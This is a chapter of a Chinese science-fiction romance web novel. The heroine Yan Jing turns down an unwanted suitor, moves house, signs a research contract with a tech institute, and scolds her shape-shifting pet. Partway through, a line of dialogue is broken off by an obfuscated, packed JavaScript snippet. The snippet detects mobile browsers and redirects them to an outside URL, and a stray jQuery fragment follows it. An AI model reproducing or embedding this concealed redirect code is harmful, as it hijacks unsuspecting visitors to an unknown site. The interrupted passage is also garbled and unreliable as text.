咕叽吃完一口还不忘给严京掰了一块,她执起半个,咬了一口,海花果汁水丰盈,清甜的味道在口腔里蔓延。
“咕叽唔?”咕叽伸缩了下身子,仰着脑袋看向严京。
和咕叽待久了,意思很好懂,严京点了点头道:“还不错。”
一人一咕叽不出两天就将着一篮子的果实分食殆尽。
近些天来,严京发觉闻鹤之来找自己的频率有些出乎意料的高了,就算没事也要过来闲聊两句。
某天,在闻鹤之第八次找到她,挡在门口的时候,严京终于忍不住问了出来,“你是有什么需要我来解决的事情吗?”
谁知闻鹤之忽然低下头笑了笑,又抬起头,眼眸明亮地看着她,“是啊,是只有你能解决的。”
见她锁紧眉头,闻鹤之上前一步,挡住了她的去路。他顿了顿,语气轻佻道:“这么多天了,姐姐还是看不出来我的心意吗,还是说根本没想过这种可能?”
严京站定在他的面前,脚步没有挪动,劝阻道:“别开一些不合时宜的玩笑。”
她根本没想到会出现这种情况。
“我没开玩笑,而且不试试怎么知道结果呢?”
严京正要反驳,却见闻小姐站在他的身后,神色变化莫测,转而道:“如果你是真的有什么事情,最好还是说出来,一味的拿我当靶子不太好吧。”
闻祐年见状及时出来制止这场闹剧:“不好意思,严小姐见笑了。”
“没事。”
严京转身出了门,至于闻鹤之会如何,她一概不想管。
当天晚上回到闻家的严京一进门就看见闻祐年一脸严肃地坐在客厅,见她回来脸上才带上写星许笑意,“回来了?我有点事想和你谈谈。”
正好,她也想早点解决掉这个麻烦,“好。”
严京走过去,在她旁边的空位上坐下。
“今天的事情真不好意思,我也不是想故意偷听的,但今早听严小姐的意思,是不太愿意接受他的吧?”
“是暂时没有这个想法。我和他不过一面之缘,要说喜欢,我估计谈不上,他可能是有什么别的想法,以此为借口而已。”严京想了下,选了个相对委婉的说法,“但是我不太喜欢被当枪使。”
原本是想再说什么的闻祐年听罢怔了一下,“看来我的想法和你们年轻人还是有些不太一样的,不过没关系,既然如此给你换个位置住如何,保姆什么的我都会给你安排过去,和这边一样,就当自己家。”闻祐年从身后的包里掏出一把钥匙推到严京面前。
“双重锁,钥匙和密码都行,但是用钥匙锁上的,密码无法解锁,相对安全些。”
严京收下钥匙,放进口袋里,“那就麻烦闻小姐了。”
闻祐年面带歉意,“这有什么,如果有什么需要的随时和我说,你是我们闻家的恩人,提什么要求都不为过。”
严京愣了一下,自己干什么了?她好像只是归还了一个战斗型仿生人吧,为什么会是闻家的恩人,小a不是隶属于联邦政府的吗,对闻家也会这么重要?
见她不语,闻祐年接着补充了一句,“而且我觉得你不会止步于此,也相当于我在变相投资了。”
严京压下心中的疑惑,跟着保姆到房间收拾起了行李。
来的时候手上空空如也,走的时候一房间的行李。
第二天一早严京就带着收拾好的物品离开了闻家。
闻鹤之向下眺望着远行的车辆,攥紧了手指,站在阴影里,看不清表情。
初入新家,原以为会布满灰尘,相对破旧,没想到居然和那边相比过犹不及,严京有些困惑,闻祐年给她的感觉和闻奕、许天星他们那样的人不太一样。
也不太像海星里那些装腔作势的富人,并不高高在上,也不会俯视众人。
严京放下在外面买好的午餐,站在客厅正要帮忙收拾就再次收到了星云科技的消息。
与上次多有不同的是,那边做出了许多让步,只是要求她作为挂名研究员,偶尔参与科研项目即可,这次给予了她极大的自由和决定权。
【我们还联系了旬迹那边,他们也同意了这样的安排。所以,您看?】
何义升在另一边搓了搓手,期待着结果,而他身边站着的许天星脸黑得像块炭。
严:【好。】
“你确定做出这么多让步,她能给到你想要的结果?别最后给他人做嫁衣。”
“噫,你个跟着只晓得打仗的懂什么,人才要给予最大的支持才能发挥出她的实力。你就是那种不给树浇水,又想树成长的那种人——不劳而获!”何义升肘击了一下许天星,厉声吐槽道。
许天星被肘击的后退一步,气得气血直往上翻腾,“呵,这叫性价比,你这种只会闷头做实验,没出过社会的呆狗根本不懂。”
利益全被让走,连严京的管辖权也不在他们手上,这样的合同根本拿捏不了她,许天星心头起火,胸膛起伏数下,俨然要维持不住平日里温和的模样。
何义升瞥了许天星一眼,“你吃错药了?说话这么冲?”
许天星闭而不答,转身大步走出了研究所。
何义升站在严京身旁不停踱步,只要她超过五分钟没有翻页,就会凑过去问哪里不合适。
严京手上签字的动作一顿,抬眸着咽了口唾沫的何义升,奇怪地看了他一眼,只是核对一下内容,至于这么紧张吗?
“怎么了?”
“没事,你平时都是待在研究所工作吗?没有外派活动?”
“是啊,当然没有,我们研究所都是一心研究设计的,其他事情只会打扰到我们的研究进度,所以你放心,我们研究所是没有那些杂七杂八的事情的,全程公开透明。”
严京了然,难怪给人的感觉都不一样,原来是没接触过社会的险恶。
将视线重新转移回文件。忽然,她直起身子,“我要加一条。”
“你说。”
“只要是我在这里的私人研究
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138056|194467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,任何数据不得共享上传。”
何义升没有一丝犹豫,“包没问题的。”
确认好内容没有问题,严京“欻欻欻”在文件的重要位置签上了名字,按上了手印,转头问道:“对了,仿生人在天启星很流行吗?”
“其实也不算,主要是还没有怎么试点,像你收到的那一批都是最新研究出来的内测实验款,对于是否能够大批量生产出让客户满意的仿生人人体我们还在试验,这一批发放出去也是为了改进。”何义升从桌上拿起文件,放进了封存机中。
何义升忽然抬起头,像是想起了什么一样,补充道:“我们之前所做的型号都是按照战斗型的来做的,和现在的市场不符合,所以拉你进来的目的之一也是让你来帮忙研究一下还有没有改进的地方。”
严京想了下,确认道:“机甲方面的呢,市场整体偏向于高层消费?”
“确实,现在的机甲越来越贵了,整天都够开发商宣传异形人随时可能进攻打过来的讯号,搞得人心惶惶。”
“上面那位虽然有心想要稳定住局面,减少流言,但大部分的机甲售卖额度和联邦政府经费挂钩,一旦这部分的资金收入减少,联邦会处于非常被动的局面,他也不太敢深入阻止。”
何义升给她换了杯热水。
居然是和财政挂钩吗。
忽然,何义升像是突然开窍了一样,“你要在天启星开分公司吗?我这边有熟人,可以牵线合作,现在异形人真在暗戳戳搞小动作,联邦政府资金也不太充足,如果你的目标是重点底层,估计应该是没有什么问题的,他们也会很乐意。”
“那就麻烦你了。”
“说什么的话,以后研究所还要多靠你了。”
严京压根没想到自己会被抱于这么大的厚望,笑着点了点头。
严京躺在床上,轻轻抚摸着咕叽的脑袋,回想着今天的经历,发觉事情出奇地顺利,如果能和联邦政府达成合作,工厂地皮的事情基本就不用再操心,只需要解决的就剩下原材料和价格的问题。
身边偷吃糕点的咕叽心虚地将东西藏在了身后,却不想身体拟态成了糕点的样子,花花绿绿。严京一低头,就看见了它躲躲藏藏的样子和奇怪的配色。
“又在我床上吃东西!”她捏起咕叽,一只手拖着底,黏腻的碎屑掉在手心,又被咕叽小心地舔走。
还没走到桌边,糕点就被它吃完了。
“真服了。再在床上吃饭就把你扔去研究所,让所有人都围观你、研究你。”
咕叽只是委屈地嘤咛了两下,就不装了,直接摊成一张色彩纷杂的饼,在桌上打了个饱嗝儿。
严京懒得理它,把桌边被拱开的点心盒子牢牢封住,将咕叽锁进从研究所拿来的特制捕捉笼子,按下床边的自主清洁功能,等待床单被清扫完再重新上了床上。
“所以你今天演了这出好戏的目的是?”闻祐年穿着狐裘端庄地坐在沙发上,撑着额头看着对面许久没有见面的儿子。